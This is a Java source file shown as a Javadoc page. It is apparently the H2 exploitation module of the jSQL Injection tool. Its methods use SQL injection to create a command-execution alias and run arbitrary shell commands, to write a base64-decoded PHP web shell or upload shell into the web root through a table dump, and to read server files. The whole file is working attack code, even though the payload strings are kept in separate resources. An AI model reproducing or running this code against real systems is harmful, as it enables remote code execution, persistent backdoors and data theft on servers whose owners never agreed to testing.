View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.engine.h2.ModelYamlH2;
7   import com.jsql.model.bean.database.MockElement;
8   import com.jsql.view.subscriber.Seal;
9   import com.jsql.model.exception.AbstractSlidingException;
10  import com.jsql.model.exception.JSqlException;
11  import com.jsql.model.exception.JSqlRuntimeException;
12  import com.jsql.model.suspendable.SuspendableGetRows;
13  import com.jsql.util.LogLevelUtil;
14  import com.jsql.util.StringUtil;
15  import org.apache.commons.lang3.RandomStringUtils;
16  import org.apache.commons.lang3.StringUtils;
17  import org.apache.logging.log4j.LogManager;
18  import org.apache.logging.log4j.Logger;
19  import org.yaml.snakeyaml.Yaml;
20  
21  import java.io.File;
22  import java.io.FileInputStream;
23  import java.io.IOException;
24  import java.io.InputStream;
25  import java.net.http.HttpResponse;
26  import java.util.UUID;
27  import java.util.function.BinaryOperator;
28  
29  public class ExploitH2 {
30  
31      private static final Logger LOGGER = LogManager.getRootLogger();
32      private final InjectionModel injectionModel;
33      private final ModelYamlH2 modelYaml;
34  
35      public ExploitH2(InjectionModel injectionModel) {
36          this.injectionModel = injectionModel;
37          var yaml = new Yaml();
38          this.modelYaml = yaml.loadAs(
39              injectionModel.getMediatorEngine().getH2().instance().getModelYaml().getResource().getExploit(),
40              ModelYamlH2.class
41          );
42      }
43  
44      public void createUdf() throws JSqlException {
45          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query");
46  
47          this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getDropAlias(), "alias#drop");
48          this.injectionModel.injectWithoutIndex(this.modelYaml.getRce().getCreateAlias(), "alias#create");
49          var result = this.injectionModel.getResourceAccess().getResult(String.format(
50              this.modelYaml.getRce().getRunCmd(),
51              ResourceAccess.WEB_CONFIRM_CMD +"%20"
52          ), ResourceAccess.RUN_FUNC);
53          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
54              LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
55              this.injectionModel.sendToViews(new Seal.AddTabExploitUdf(
56                  (String command, UUID terminalID) -> this.injectionModel.getResourceAccess().getExploitH2().runRce(command, terminalID)
57              ));
58          }
59      }
60  
61      public String runRce(String command, UUID uuidShell) {
62          String result;
63          try {
64              result = this.injectionModel.getResourceAccess().getResult(String.format(
65                  this.modelYaml.getRce().getRunCmd(),
66                  command.replace(StringUtils.SPACE, "%20")
67              ), ResourceAccess.RUN_FUNC);
68          } catch (JSqlException e) {
69              result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
70          }
71          this.injectionModel.sendToViews(new Seal.GetTerminalResult(
72              uuidShell,
73              result.trim() +"\n"  // missing newline on some extensions
74          ));
75          return result;
76      }
77  
78      public String createWeb(String pathExploit, String urlExploit) {
79          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
80  
81          String bodyExploit = StringUtil.base64Decode(
82                  this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
83              )
84              .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
85              .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
86  
87          var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
88          this.injectionModel.injectWithoutIndex(String.format(
89              this.modelYaml.getRce().getCreateTable(),
90              nameTable,
91              nameTable, bodyExploit.replace("'", "\"")
92          ), ResourceAccess.TBL_CREATE);
93          var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
94          this.injectionModel.injectWithoutIndex(String.format(
95              this.modelYaml.getRce().getScriptSimple(),
96              pathExploit + nameExploit,
97              nameTable
98          ), ResourceAccess.TBL_DUMP);
99  
100         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
101             String result = this.injectionModel.getResourceAccess().callCommand(
102                 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
103             );
104             if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
105                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
106                 return StringUtils.EMPTY;
107             }
108             this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
109             return urlSuccess;
110         };
111 
112         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
113     }
114 
115     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
116         String bodyExploit = StringUtil.base64Decode(
117                 this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
118             )
119             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
120             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
121 
122         var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
123         this.injectionModel.injectWithoutIndex(String.format(
124             this.modelYaml.getRce().getCreateTable(),
125             nameTable,
126             nameTable, bodyExploit.replace("'", "\"")
127         ), ResourceAccess.TBL_CREATE);
128         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
129         this.injectionModel.injectWithoutIndex(String.format(
130             this.modelYaml.getRce().getScriptSimple(),
131             pathExploit + nameExploit,
132             nameTable
133         ), ResourceAccess.TBL_DUMP);
134 
135         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
136             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
137                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
138                 if (result.body().contains(DataAccess.LEAD +"y")) {
139                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
140                 } else {
141                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
142                 }
143             } catch (InterruptedException e) {
144                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
145                 Thread.currentThread().interrupt();
146             } catch (IOException | JSqlException e) {
147                 throw new JSqlRuntimeException(e);
148             }
149             return urlSuccess;
150         };
151 
152         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
153     }
154 
155     public String getRead(String pathFile) throws AbstractSlidingException {
156         return new SuspendableGetRows(this.injectionModel).run(
157                 String.format(
158                 this.injectionModel.getResourceAccess().getExploitH2().getModelYaml().getFile().getReadFromPath(),
159                 pathFile
160             ),
161             new String[]{ StringUtils.EMPTY },
162             false,
163             1,
164             MockElement.MOCK,
165             ResourceAccess.FILE_READ
166         );
167     }
168 
169     public ModelYamlH2 getModelYaml() {
170         return this.modelYaml;
171     }
172 }